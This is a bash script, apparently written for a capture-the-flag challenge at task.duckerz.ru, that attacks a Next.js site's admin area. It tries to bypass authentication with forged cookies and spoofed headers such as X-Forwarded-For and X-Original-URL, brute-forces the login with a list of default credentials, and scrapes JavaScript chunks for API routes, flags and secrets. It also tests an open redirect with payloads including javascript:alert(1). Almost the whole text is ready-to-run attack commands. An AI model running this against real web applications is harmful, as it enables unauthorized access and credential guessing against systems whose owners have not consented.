Загрузка данных


T="http://task.duckerz.ru:21046"

echo "===== 1. /admin напрямую ====="
curl -s -i "$T/admin" | head -20

echo; echo "===== 2. /admin с RSC ====="
curl -s -i "$T/admin" -H "RSC: 1" | head -30

echo; echo "===== 3. /admin с разными куками ====="
for c in "mdd=1" "mdd=admin" "mdd=true" "role=admin" "session=admin" "auth=1" "admin=1" "token=admin"; do
  echo "--- Cookie: $c ---"
  curl -s -o /dev/null -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "Cookie: $c"
done

echo; echo "===== 4. /admin с заголовками обхода ====="
for h in "X-Forwarded-For: 127.0.0.1" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Host: localhost" \
         "X-Real-IP: 127.0.0.1"; do
  echo "--- $h ---"
  curl -s -o /dev/null -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "$h"
done

echo; echo "===== 5. Брутфорс логина ====="
for c in "admin:admin" "admin:password" "admin:123456" "admin:admin123" \
         "admin:qwerty" "admin:letmein" "editor:editor" "editor:password" \
         "redactor:redactor" "user:user" "test:test" "guest:guest" \
         "admin:duckerz" "admin:vestnik" "admin:severny" "admin:северный"; do
  l="${c%%:*}"; p="${c##*:}"
  r=$(curl -s -o /dev/null -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=$l&password=$p&next=/admin")
  echo "$l:$p -> $r"
done

echo; echo "===== 6. RSC на /login?failed=1 ====="
curl -s "$T/login?failed=1" -H "RSC: 1" | head -50

echo; echo "===== 7. Список API эндпоинтов из чанков ====="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  ; do
  echo "--- $f ---"
  curl -s "$T/_next/static/chunks/$f" 2>/dev/null \
    | grep -oE "/api/[a-zA-Z0-9_/-]+" | sort -u
done

echo; echo "===== 8. Поиск флага и подсказок в чанках ====="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  ; do
  echo "--- $f ---"
  curl -s "$T/_next/static/chunks/$f" 2>/dev/null \
    | grep -oE "DUCKERZ\{[^}]+\}|flag[a-zA-Z]*|admin|secret|token" | sort -u | head -20
done

echo; echo "===== 9. buildManifest ====="
curl -s "$T/_next/static/JJN36yMfd5yB9oQiq_ZJw/_buildManifest.js" | head -50
curl -s "$T/_next/static/chunks/app-build-manifest.json" | head -80

echo; echo "===== 10. Проверка next на open redirect ====="
for n in "//example.com" "https://example.com" "/admin" "javascript:alert(1)" "/%2F%2Fexample.com"; do
  r=$(curl -s -o /dev/null -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=x&password=x&next=$n")
  echo "next=$n -> $r"
done

echo; echo "===== DONE ====="